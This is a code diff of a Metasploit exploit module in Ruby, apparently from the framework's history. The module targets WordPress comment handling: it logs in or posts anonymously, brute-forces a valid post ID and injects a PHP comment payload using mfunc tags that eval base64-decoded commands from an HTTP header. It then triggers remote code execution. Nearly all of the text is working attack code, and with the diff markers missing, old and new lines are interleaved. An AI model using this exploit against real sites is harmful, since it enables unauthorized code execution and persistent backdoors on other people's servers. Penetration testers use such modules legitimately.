OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
end
def peer
return "#{rhost}:#{rport}"
register_advanced_options(
[
OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]),
OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000])
])
end
def require_auth?
@ -79,106 +79,40 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def get_session_cookie(header)
header.split(";").each { |cookie|
cookie.split(" ").each { |word|
if word =~ /(.*logged_in.*)=(.*)/
return $1, $2
end
}
}
return nil, nil
end
def post_comment(text)
php_payload = "#{text}<!--mfunc if(isset($_SERVER['HTTP_SUM'])) { if (sha1($_SERVER['HTTP_SUM']) == '#{@sum}' ) { eval(base64_decode($_SERVER['HTTP_CMD'])); } } --><!--/mfunc-->"
def login
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "wp-login.php"),
'method' => 'POST',
'vars_post' => {
'log' => @user,
'pwd' => @password
}
})
if res and res.code == 302 and res.headers['Set-Cookie']
return get_session_cookie(res.headers['Set-Cookie'])
if @auth
uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)
else
return nil, nil
end
end
def check_post_id(uri)
options = {
'method' => 'GET',
'uri' => uri
}
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
res = send_request_cgi(options)
if res and res.code == 200 and res.body =~ /form.*action.*wp-comments-post.php/
return true
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
location = URI(res.headers["Location"])
uri = location.path
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
return check_post_id(uri)
end
return false
end
def find_post_id
(1..1000).each{|id|
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
return id if res
}
return nil
end
def post_comment
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
vars_post = {
'comment' => php_payload,
'submit' => 'Post+Comment',
'comment_post_ID' => "#{@post_id}",
'comment_parent' => "0"
}
vars_post.merge!({
'author' => rand_text_alpha(8),
'email' => "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
'url' => rand_text_alpha(8),
}) unless @auth
options = {
'uri' => normalize_uri(target_uri.path, "wp-comments-post.php"),
'method' => 'POST'
}
options.merge!({'vars_post' => vars_post})
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
res = send_request_cgi(options)
if res and res.code == 302
location = URI(res.headers["Location"])
uri = location.path
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
return uri
else
return nil
author = rand_text_alpha(8)
author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com"
author_url = rand_text_alpha(8)
uri = wordpress_post_comment_no_auth(php_payload,
@post_id,
author,
author_email,
author_url
)
@unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url)
end
uri
end
def exploit
unless wordpress_and_online?
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
end
@auth = require_auth?
if @auth
print_status("#{peer} - Trying to login...")
@cookie_name, @cookie_value = login
if @cookie_name.nil? or @cookie_value.nil?
@cookie = wordpress_login(@user, @password)
if @cookie.nil?
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
end
print_status("#{peer} - login successful")
else
print_status("#{peer} - Trying unauthenticated exploitation...")
end
@ -187,12 +121,31 @@ class Metasploit3 < Msf::Exploit::Remote
@post_id = datastore['POSTID']
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
else
print_status("#{peer} - Trying to brute force a valid POST ID...")
@post_id = find_post_id
if @post_id.nil?
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
else
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
print_status("#{peer} - Trying to get posts from feed...")
all_posts = wordpress_get_all_blog_posts_via_feed
# First try all blog posts provided by feed
if all_posts
all_posts.each do |p|
vprint_status("#{peer} - Checking #{p}...")
enabled = wordpress_post_comments_enabled?(p, @cookie)
@post_id = get_post_id_from_body(enabled)
if @post_id
print_status("#{peer} - Found Post POST ID #{@post_id}...")
break
end
end
end
# if nothing found, bruteforce a post id
unless @post_id
print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...")
min_post_id = datastore['MIN_POST_ID']
max_post_id = datastore['MAX_POST_ID']
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
if @post_id.nil?
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
else
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
end
end
end
@ -200,34 +153,39 @@ class Metasploit3 < Msf::Exploit::Remote
@sum = Rex::Text.sha1(random_test)
print_status("#{peer} - Injecting the PHP Code in a comment...")
post_uri = post_comment
text = Rex::Text::rand_text_alpha(10)
post_uri = post_comment(text)
if post_uri.nil?
fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned")
end
print_status("#{peer} - Executing the payload...")
options = {
'method' => 'GET',
'uri' => post_uri,
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded),
'Sum' => random_test
}
'method' => 'GET',
'uri' => post_uri,
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded),
'Sum' => random_test
}
}
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
options.merge!({'cookie' => @cookie}) if @auth
# Used to see anonymous, moderated comments
options.merge!({'cookie' => @unauth_cookie}) if @unauth_cookie
res = send_request_cgi(options)
if res and res.code == 301
fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
end
if res and !res.body.match(/#{Regexp.escape(text)}/)
fail_with(Failure::Unknown, "#{peer} - Comment not in post, maybe comments are moderated")
end
end
def check
res = send_request_cgi ({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
})
if res.nil?
res = wordpress_and_online?
unless res
print_error("#{peer} does not seeem to be Wordpress site")
return Exploit::CheckCode::Unknown
end